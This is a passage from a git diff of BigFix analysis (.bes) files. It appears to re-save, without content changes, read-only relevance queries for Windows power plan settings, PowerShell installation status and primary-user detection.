+    <Property ID="8" Name="Power - Standby Timeout on DC - Windows" EvaluationPeriod="P1D">/* Group Policy Comes First */ (value &quot;DCSettingIndex&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of native registry as string) | /* Next comes Power Scheme  Customizations */ (value &quot;DCSettingIndex&quot; of keys &quot;238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot; of keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) | /* Then Power Scheme Defaults */ (value &quot;DCSettingIndex&quot; of (keys ((it as string) of (value &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings&quot; of native registry | value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of x32 registry)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues&quot; of native registry) as string) |  /* Default to 0 */ &quot;0&quot; </Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Power Plan Settings - Windows  TODO (2994762).bes b/Sites/Windows Management/Fixlets/Analyses/Power Plan Settings - Windows  TODO (2994762).bes
index 338a85873..1c5b9586a 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Power Plan Settings - Windows  TODO (2994762).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Power Plan Settings - Windows  TODO (2994762).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Power Plan Settings - Windows  TODO
-  ID       : 2994762
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-01-29T10:51:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Power Plan Settings - Windows TODO</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 29 Jan 2015 17:32:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Power Plan Friendly Names" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
-    <Property ID="2" Name="Friendly Name of Preffered Power Plan" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys whose( (set of unique values of (it as string as trimmed string) of values &quot;PreferredPlan&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{025A5937-A6BE-4686-A844-36FE4BEC8B6D}&quot; of (x64 registries;x32 registries) ) contains (name of it)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
-    <Property ID="3" Name="Friendly Name of current Power Plan" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys whose( (set of unique values of (it as string as trimmed string) of values &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries) ) contains (name of it) ) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Power Plan Settings - Windows  TODO
+  ID       : 2994762
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-01-29T10:51:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Power Plan Settings - Windows TODO</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 29 Jan 2015 17:32:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Power Plan Friendly Names" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
+    <Property ID="2" Name="Friendly Name of Preffered Power Plan" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys whose( (set of unique values of (it as string as trimmed string) of values &quot;PreferredPlan&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{025A5937-A6BE-4686-A844-36FE4BEC8B6D}&quot; of (x64 registries;x32 registries) ) contains (name of it)) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
+    <Property ID="3" Name="Friendly Name of current Power Plan" EvaluationPeriod="PT12H">unique values of (preceding texts of lasts &quot;%00&quot; of following texts of lasts &quot;,&quot; of it) of (it as string as trimmed string) of values &quot;FriendlyName&quot; of keys whose( (set of unique values of (it as string as trimmed string) of values &quot;ActivePowerScheme&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries) ) contains (name of it) ) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of (x64 registries;x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/PowerShell x64 Status (19).bes b/Sites/Windows Management/Fixlets/Analyses/PowerShell x64 Status (19).bes
index 165d7800e..7606308e4 100644
--- a/Sites/Windows Management/Fixlets/Analyses/PowerShell x64 Status (19).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/PowerShell x64 Status (19).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : PowerShell x64 Status
-  ID       : 19
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:32:22
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>PowerShell x64 Status</Title>
-    <Description>Pull back status on the PowerShell installation on this system. </Description>
-    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <Relevance>x64 of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 21:29:13 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
-    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
-    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
-    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
-    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry</Property>
-    <Property ID="6" Name="ExecutionPolicy">value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; of x64 registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : PowerShell x64 Status
+  ID       : 19
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:32:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>PowerShell x64 Status</Title>
+    <Description>Pull back status on the PowerShell installation on this system. </Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance>x64 of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:29:13 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
+    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
+    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
+    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of x64 registry</Property>
+    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry</Property>
+    <Property ID="6" Name="ExecutionPolicy">value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; of x64 registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status (20).bes b/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status (20).bes
index ef917d9f7..13b76b865 100644
--- a/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status (20).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status (20).bes	
@@ -1,30 +1,30 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : PowerShell x86 Status
-  ID       : 20
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:32:22
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>PowerShell x86 Status</Title>
-    <Description>Pull back status on the PowerShell installation on this system. </Description>
-    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 21:29:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
-    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
-    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
-    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
-    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry</Property>
-    <Property ID="6" Name="ExecutionPolicy">value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; of registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : PowerShell x86 Status
+  ID       : 20
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:32:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>PowerShell x86 Status</Title>
+    <Description>Pull back status on the PowerShell installation on this system. </Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:29:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
+    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
+    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
+    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine&quot; of registry</Property>
+    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry</Property>
+    <Property ID="6" Name="ExecutionPolicy">value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; of registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status - Windows (2994540).bes b/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status - Windows (2994540).bes
index 63359ff83..03538228a 100644
--- a/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status - Windows (2994540).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/PowerShell x86 Status - Windows (2994540).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : PowerShell x86 Status - Windows
-  ID       : 2994540
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-06-26T14:30:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>PowerShell x86 Status - Windows</Title>
-    <Description><![CDATA[<P>Located here: <A href="http://bigfix.me/cdb/analysis/89"><FONT color=#000080>http://bigfix.me/cdb/analysis/89</FONT></A></P>
-<P>Based upon this: <A href="http://bigfix.me/cdb/analysis/20">http://bigfix.me/cdb/analysis/20</A><BR><BR>Pull back status on the PowerShell installation on this system.</P>]]></Description>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Wed, 17 Oct 2012 09:32:22 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Wed, 17 Oct 2012 09:37:41 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>PowerShell Status Pull ApplicationBase PowerShellVersion</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 26 Jun 2013 21:29:49 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry</Property>
-    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
-    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
-    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
-    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
-    <Property ID="6" Name="ExecutionPolicy" EvaluationPeriod="PT1H">if (not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; whose(exists value &quot;ExecutionPolicy&quot; of it) of registry) then ERROR &quot;no ExecutionPolicy set&quot; else (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; whose(exists value &quot;ExecutionPolicy&quot; of it) of registry)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : PowerShell x86 Status - Windows
+  ID       : 2994540
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-06-26T14:30:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>PowerShell x86 Status - Windows</Title>
+    <Description><![CDATA[<P>Located here: <A href="http://bigfix.me/cdb/analysis/89"><FONT color=#000080>http://bigfix.me/cdb/analysis/89</FONT></A></P>
+<P>Based upon this: <A href="http://bigfix.me/cdb/analysis/20">http://bigfix.me/cdb/analysis/20</A><BR><BR>Pull back status on the PowerShell installation on this system.</P>]]></Description>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 17 Oct 2012 09:32:22 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 17 Oct 2012 09:37:41 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>PowerShell Status Pull ApplicationBase PowerShellVersion</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 26 Jun 2013 21:29:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="5" Name="Path" EvaluationPeriod="PT12H">value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry</Property>
+    <Property ID="1" Name="ApplicationBase" EvaluationPeriod="PT12H">value &quot;ApplicationBase&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
+    <Property ID="2" Name="PowerShellVersion" EvaluationPeriod="PT12H">value &quot;PowerShellVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
+    <Property ID="3" Name="PSCompatibleVersion" EvaluationPeriod="PT12H">value &quot;PSCompatibleVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
+    <Property ID="4" Name="RuntimeVersion" EvaluationPeriod="PT12H">value &quot;RuntimeVersion&quot; of key &quot;PowerShellEngine&quot; of key ((it as string) of maximum of (it as integer) of names of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of registry</Property>
+    <Property ID="6" Name="ExecutionPolicy" EvaluationPeriod="PT1H">if (not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; whose(exists value &quot;ExecutionPolicy&quot; of it) of registry) then ERROR &quot;no ExecutionPolicy set&quot; else (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics&quot; whose(exists value &quot;ExecutionPolicy&quot; of it) of registry)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Primary User - Windows (2995831).bes b/Sites/Windows Management/Fixlets/Analyses/Primary User - Windows (2995831).bes
index 34f9227a7..64eb18577 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Primary User - Windows (2995831).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Primary User - Windows (2995831).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Primary User - Windows
-  ID       : 2995831
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-01-25T16:49:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Primary User - Windows</Title>
-    <Description><![CDATA[<P>This analysis attempts to identify the Primary User of the system.</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 25 Jan 2016 23:39:57 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="PrimaryUser (Combined)" EvaluationPeriod="PT12H">ERROR &quot;NotYetWritten&quot;</Property>
-    <Property ID="4" Name="PrimaryUser Setting" EvaluationPeriod="PT1H">unique values of (it as string as trimmed string) of values of settings whose(&quot;PrimaryUser&quot; = name of it) of clients</Property>
-    <Property ID="5" Name="User with most logons" EvaluationPeriod="PT6H">unique values of names of users whose( logon count of it = maximum of logon counts of users )</Property>
-    <Property ID="6" Name="Last Logged on User - Windows" EvaluationPeriod="PT6H">unique values of items 1 of (modification time of it,name of parent folder of it) whose( item 0 of it = ( maximum of modification times of files &quot;NTUSER.DAT&quot; of folders whose ( exists file &quot;NTUSER.DAT&quot; of it AND name of it as lowercase is not contained by set of ( &quot;networkservice&quot;;&quot;localservice&quot;;&quot;administrator&quot;;&quot;default&quot;;&quot;public&quot;;&quot;la-client&quot;;&quot;OTHER_EXCLUDED_USERS&quot; ) ) of (folders &quot;c:\users&quot;; folders &quot;c:\Documents and Settings&quot;) ) ) of files &quot;NTUSER.DAT&quot; of folders whose ( exists file &quot;NTUSER.DAT&quot; of it AND name of it as lowercase is not contained by set of ( &quot;networkservice&quot;;&quot;localservice&quot;;&quot;administrator&quot;;&quot;default&quot;;&quot;public&quot;;&quot;la-client&quot;;&quot;OTHER_EXCLUDED_USERS&quot; ) ) of (folders &quot;c:\users&quot;; folders &quot;c:\Documents and Settings&quot;)</Property>
-    <Property ID="7" Name="Users" EvaluationPeriod="PT6H">(&quot;%22&quot; &amp; it &amp; &quot;%22&quot;) of concatenations &quot;%22;%22&quot; of unique values of (names of logged on users; names of users; names of current users; names of local users)</Property>
